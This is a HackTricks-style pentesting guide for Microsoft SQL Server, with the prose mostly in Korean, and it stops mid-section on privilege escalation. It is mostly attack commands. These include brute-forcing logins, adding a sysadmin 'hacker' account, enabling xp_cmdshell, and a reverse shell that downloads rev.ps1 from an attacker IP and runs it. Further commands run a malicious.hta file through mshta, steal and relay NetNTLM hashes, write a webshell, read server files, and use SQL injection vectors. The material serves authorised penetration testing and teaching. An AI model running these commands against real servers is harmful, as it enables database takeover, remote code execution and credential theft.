# 1433 - Pentesting MSSQL - Microsoft SQL Server {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## ๊ธฐ๋ณธ ์ •๋ณด From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): > **Microsoft SQL Server**๋Š” Microsoft์—์„œ ๊ฐœ๋ฐœํ•œ **๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค** ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์„œ๋ฒ„๋กœ์„œ, ๋‹ค๋ฅธ ์†Œํ”„ํŠธ์›จ์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์š”์ฒญํ•œ ๋Œ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ณ  ๊ฒ€์ƒ‰ํ•˜๋Š” ์ฃผ์š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ ์†Œํ”„ํŠธ์›จ์–ด ์ œํ’ˆ์ž…๋‹ˆ๋‹ค. ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋™์ผํ•œ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ๋„คํŠธ์›Œํฌ(์ธํ„ฐ๋„ท ํฌํ•จ)๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\\ **๊ธฐ๋ณธ ํฌํŠธ:** 1433 ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` ### **๊ธฐ๋ณธ MS-SQL ์‹œ์Šคํ…œ ํ…Œ์ด๋ธ”** * **master ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**: ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์‹œ์Šคํ…œ ์ˆ˜์ค€ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์บก์ฒ˜ํ•˜๋ฏ€๋กœ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. * **msdb ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**: SQL Server Agent๋Š” ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•Œ๋ฆผ ๋ฐ ์ž‘์—…์˜ ์ผ์ •์„ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค. * **model ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**: SQL Server ์ธ์Šคํ„ด์Šค์˜ ๋ชจ๋“  ์ƒˆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•œ ์ฒญ์‚ฌ์ง„ ์—ญํ• ์„ ํ•˜๋ฉฐ, ํฌ๊ธฐ, ์ •๋ ฌ, ๋ณต๊ตฌ ๋ชจ๋ธ ๋“ฑ๊ณผ ๊ฐ™์€ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค. * **Resource ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**: SQL Server์™€ ํ•จ๊ป˜ ์ œ๊ณต๋˜๋Š” ์‹œ์Šคํ…œ ๊ฐ์ฒด๋ฅผ ํฌํ•จํ•˜๋Š” ์ฝ๊ธฐ ์ „์šฉ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ์ฒด๋Š” Resource ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ €์žฅ๋˜์ง€๋งŒ, ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ sys ์Šคํ‚ค๋งˆ์—์„œ ๋…ผ๋ฆฌ์ ์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. * **tempdb ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค**: ์ผ์‹œ์ ์ธ ๊ฐ์ฒด๋‚˜ ์ค‘๊ฐ„ ๊ฒฐ๊ณผ ์ง‘ํ•ฉ์„ ์œ„ํ•œ ์ž„์‹œ ์ €์žฅ ์˜์—ญ์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ## ์—ด๊ฑฐ ### ์ž๋™ ์—ด๊ฑฐ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์•„๋ฌด๊ฒƒ๋„ ๋ชจ๋ฅด๋Š” ๊ฒฝ์šฐ: ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} ์ž๊ฒฉ ์ฆ๋ช…์ด **์—†๋‹ค๋ฉด** ์ถ”์ธกํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. nmap ๋˜๋Š” metasploit์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์กฐ์‹ฌํ•˜์„ธ์š”, ๊ธฐ์กด ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜์—ฌ ์—ฌ๋Ÿฌ ๋ฒˆ ๋กœ๊ทธ์ธ์— ์‹คํŒจํ•˜๋ฉด **๊ณ„์ •์ด ์ฐจ๋‹จ**๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. {% endhint %} #### Metasploit (์ž๊ฒฉ ์ฆ๋ช… ํ•„์š”) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Steal NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #Info gathering msf> use admin/mssql/mssql_enum #Security checks msf> use admin/mssql/mssql_enum_domain_accounts msf> use admin/mssql/mssql_enum_sql_logins msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/scanner/mssql/mssql_hashdump msf> use auxiliary/scanner/mssql/mssql_schemadump #Search for insteresting data msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/admin/mssql/mssql_idf #Privesc msf> use exploit/windows/mssql/mssql_linkcrawler msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin #Code execution msf> use admin/mssql/mssql_exec #Execute commands msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` ### [**๋ธŒ๋ฃจํŠธ ํฌ์Šค**](../../generic-methodologies-and-resources/brute-force.md#sql-server) ### ์ˆ˜๋™ ์—ด๊ฑฐ #### ๋กœ๊ทธ์ธ [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt # Bruteforce using tickets against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Bruteforce using passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt # Bruteforce using hashes against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ``` ```bash # Using Impacket mssqlclient.py mssqlclient.py [-db volume] /:@ ## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine mssqlclient.py [-db volume] -windows-auth /:@ # Using sqsh sqsh -S -U -P -D ## In case Windows Auth using "." as domain name for local user sqsh -S -U .\\ -P -D ## In sqsh you need to use GO after writting the query to send it 1> select 1; 2> go ``` #### ์ผ๋ฐ˜ ์—ด๊ฑฐ ```sql # Get version select @@version; # Get user select user_name(); # Get databases SELECT name FROM master.dbo.sysdatabases; # Use database USE master #Get table names SELECT * FROM .INFORMATION_SCHEMA.TABLES; #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' #Enumerate links enum_links #Use a link use_link [NAME] ``` #### ์‚ฌ์šฉ์ž ๊ฐ€์ ธ์˜ค๊ธฐ {% content-ref url="types-of-mssql-users.md" %} [types-of-mssql-users.md](types-of-mssql-users.md) {% endcontent-ref %} ```sql # Get all the users and roles select * from sys.database_principals; ## This query filters a bit the results select name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid from sys.database_principals where type not in ('A', 'R') order by name; ## Both of these select all the users of the current database (not the server). ## Interesting when you cannot acces the table sys.database_principals EXEC sp_helpuser SELECT * FROM sysusers ``` #### ๊ถŒํ•œ ๊ฐ€์ ธ์˜ค๊ธฐ 1. **Securable:** SQL Server๊ฐ€ ์ ‘๊ทผ ์ œ์–ด๋ฅผ ์œ„ํ•ด ๊ด€๋ฆฌํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋กœ ์ •์˜๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ถ„๋ฅ˜๋ฉ๋‹ˆ๋‹ค: * **์„œ๋ฒ„** โ€“ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค, ๋กœ๊ทธ์ธ, ์—”๋“œํฌ์ธํŠธ, ๊ฐ€์šฉ์„ฑ ๊ทธ๋ฃน ๋ฐ ์„œ๋ฒ„ ์—ญํ• ์˜ ์˜ˆ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. * **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค** โ€“ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ญํ• , ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์—ญํ• , ์Šคํ‚ค๋งˆ, ์ธ์ฆ์„œ, ์ „์ฒด ํ…์ŠคํŠธ ์นดํƒˆ๋กœ๊ทธ ๋ฐ ์‚ฌ์šฉ์ž์™€ ๊ฐ™์€ ์˜ˆ๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. * **์Šคํ‚ค๋งˆ** โ€“ ํ…Œ์ด๋ธ”, ๋ทฐ, ํ”„๋กœ์‹œ์ €, ํ•จ์ˆ˜, ๋™์˜์–ด ๋“ฑ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. 2. **Permission:** SQL Server securables์™€ ๊ด€๋ จ๋œ ๊ถŒํ•œ์œผ๋กœ, ALTER, CONTROL ๋ฐ CREATE์™€ ๊ฐ™์€ ๊ถŒํ•œ์ด ์ฃผ์ฒด์—๊ฒŒ ๋ถ€์—ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ถŒํ•œ ๊ด€๋ฆฌ๋Š” ๋‘ ๊ฐ€์ง€ ์ˆ˜์ค€์—์„œ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค: * **์„œ๋ฒ„ ์ˆ˜์ค€** โ€“ ๋กœ๊ทธ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ * **๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ˆ˜์ค€** โ€“ ์‚ฌ์šฉ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ 3. **Principal:** ์ด ์šฉ์–ด๋Š” securable์— ๋Œ€ํ•œ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์—”ํ‹ฐํ‹ฐ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์ฃผ์ฒด๋Š” ์ฃผ๋กœ ๋กœ๊ทธ์ธ๊ณผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์‚ฌ์šฉ์ž๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. Securables์— ๋Œ€ํ•œ ์ ‘๊ทผ ์ œ์–ด๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•˜๊ฑฐ๋‚˜ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์—ญํ• ์— ๋กœ๊ทธ์ธ ๋ฐ ์‚ฌ์šฉ์ž๋ฅผ ํฌํ•จ์‹œํ‚ด์œผ๋กœ์จ ํ–‰์‚ฌ๋ฉ๋‹ˆ๋‹ค. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); # Show all possible permissions in MSSQL SELECT * FROM sys.fn_builtin_permissions(DEFAULT); # Get all my permissions over securable type SERVER SELECT * FROM fn_my_permissions(NULL, 'SERVER'); # Get all my permissions over a database USE SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); # Get members of the role "sysadmin" Use master EXEC sp_helpsrvrolemember 'sysadmin'; # Get if the current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); # Get users that can run xp_cmdshell Use master EXEC sp_helprotect 'xp_cmdshell' ``` ## Tricks ### OS ๋ช…๋ น ์‹คํ–‰ {% hint style="danger" %} ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ ค๋ฉด **`xp_cmdshell`** **ํ™œ์„ฑํ™”**๋ฟ๋งŒ ์•„๋‹ˆ๋ผ **`xp_cmdshell` ์ €์žฅ ํ”„๋กœ์‹œ์ €์— ๋Œ€ํ•œ EXECUTE ๊ถŒํ•œ**๋„ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. **`xp_cmdshell`**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ๋žŒ(์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž ์ œ์™ธ)์„ ํ™•์ธํ•˜๋ ค๋ฉด: ```sql Use master EXEC sp_helprotect 'xp_cmdshell' ``` {% endhint %} ```bash # Username + Password + CMD command crackmapexec mssql -d -u -p -x "whoami" # Username + Hash + PS command crackmapexec mssql -d -u -H -X '$PSVersionTable' # Check if xp_cmdshell is enabled SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; # This turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #This enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE #One liner EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami' # Get Rev shell EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' # Bypass blackisted "EXEC xp_cmdshell" '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' โ€” ``` [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Executing custom assembly on the current server with windows authentication and executing hostname command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname # Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname # Executing the hostname command using stored procedures on the linked SRV01 server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` ### NetNTLM ํ•ด์‹œ ํ›”์น˜๊ธฐ / ๋ฆด๋ ˆ์ด ๊ณต๊ฒฉ ์ธ์ฆ์— ์‚ฌ์šฉ๋˜๋Š” ํ•ด์‹œ๋ฅผ ์บก์ฒ˜ํ•˜๊ธฐ ์œ„ํ•ด **SMB ์„œ๋ฒ„**๋ฅผ ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (`impacket-smbserver` ๋˜๋Š” `responder` ์˜ˆ์‹œ). ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' EXEC master..xp_subdirs '\\\anything\' EXEC master..xp_fileexist '\\\anything\' # Capture hash sudo responder -I tun0 sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Issuing NTLM relay attack on the SRV01 server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` {% hint style="warning" %} ๋ˆ„๊ฐ€ (sysadmins ์ œ์™ธ) ์ด๋Ÿฌํ•œ MSSQL ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”: ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist'; ``` {% endhint %} **responder** ๋˜๋Š” **Inveigh**์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **NetNTLM ํ•ด์‹œ๋ฅผ ํ›”์น˜๋Š”** ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.\ ์ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} ### MSSQL ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋งํฌ ์•…์šฉ [**์ด ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ์–ด๋ณด์„ธ์š”**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **์ด ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์œผ์„ธ์š”:** {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) {% endcontent-ref %} ### **ํŒŒ์ผ ์“ฐ๊ธฐ** `MSSQL`์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์„ ์“ฐ๋ ค๋ฉด [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)๋ฅผ **ํ™œ์„ฑํ™”ํ•ด์•ผ** ํ•˜๋ฉฐ, ์ด๋Š” ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๊ณ , ๊ทธ๋Ÿฐ ๋‹ค์Œ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ๋ช‡ ๊ฐ€์ง€ ์ €์žฅ ํ”„๋กœ์‹œ์ €๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE # Create a File DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE ``` ### **OPENROWSET๋กœ ํŒŒ์ผ ์ฝ๊ธฐ** ๊ธฐ๋ณธ์ ์œผ๋กœ `MSSQL`์€ **๊ณ„์ •์ด ์ฝ๊ธฐ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ์šด์˜ ์ฒด์ œ์˜ ๋ชจ๋“  ํŒŒ์ผ์— ๋Œ€ํ•œ ํŒŒ์ผ ์ฝ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค**. ๋‹ค์Œ SQL ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` ๊ทธ๋Ÿฌ๋‚˜ **`BULK`** ์˜ต์…˜์€ **`ADMINISTER BULK OPERATIONS`** ๋˜๋Š” **`ADMINISTER DATABASE BULK OPERATIONS`** ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` #### SQLi๋ฅผ ์œ„ํ•œ ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ๋ฒกํ„ฐ: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/ํŒŒ์ผ ์ฝ๊ธฐ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ (Python ๋ฐ R)** MSSQL์€ **Python ๋ฐ/๋˜๋Š” R**์—์„œ **์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰**์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ๋Š” **xp\_cmdshell**์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” **๋‹ค๋ฅธ ์‚ฌ์šฉ์ž**์— ์˜ํ•ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. Example trying to execute a **'R'** _"Hellow World!"_ **not working**: ![](<../../.gitbook/assets/image (393).png>) Example using configured python to perform several actions: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` ### Read Registry Microsoft SQL Server๋Š” **์—ฌ๋Ÿฌ ํ™•์žฅ ์ €์žฅ ํ”„๋กœ์‹œ์ €**๋ฅผ ์ œ๊ณตํ•˜์—ฌ ๋„คํŠธ์›Œํฌ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ฐ [**Windows ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)์™€๋„ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** | **์ •์ƒ** | **์ธ์Šคํ„ด์Šค ์ธ์‹** | | ---------------------------- | -------------------------------------- | | sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | | sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys | | sys.xp\_regwrite | sys.xp\_instance\_regwrite | | sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue | | sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey | | sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring | | sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring | ```sql # Example read registry EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; # Example write and then read registry EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!'; EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; # Example to check who can use these functions Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE with MSSQL User Defined Function - SQLHttp MSSQL์—์„œ **์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜๋กœ .NET dll์„ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค**. ๊ทธ๋Ÿฌ๋‚˜, ์ด๋Š” **`dbo` ์ ‘๊ทผ์ด ํ•„์š”**ํ•˜๋ฏ€๋กœ **`sa` ๋˜๋Š” ๊ด€๋ฆฌ์ž ์—ญํ• **๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. [**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example. ### Other ways for RCE ๋ช…๋ น ์‹คํ–‰์„ ์–ป๊ธฐ ์œ„ํ•œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” [ํ™•์žฅ ์ €์žฅ ํ”„๋กœ์‹œ์ € ์ถ”๊ฐ€ํ•˜๊ธฐ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR ์–ด์…ˆ๋ธ”๋ฆฌ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server ์—์ด์ „ํŠธ ์ž‘์—…](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), ๋ฐ [์™ธ๋ถ€ ์Šคํฌ๋ฆฝํŠธ](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) ์ถ”๊ฐ€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ## MSSQL Privilege Escalation ### From db\_owner to sysadmin **์ผ๋ฐ˜ ์‚ฌ์šฉ์ž**๊ฐ€ **๊ด€๋ฆฌ์ž** 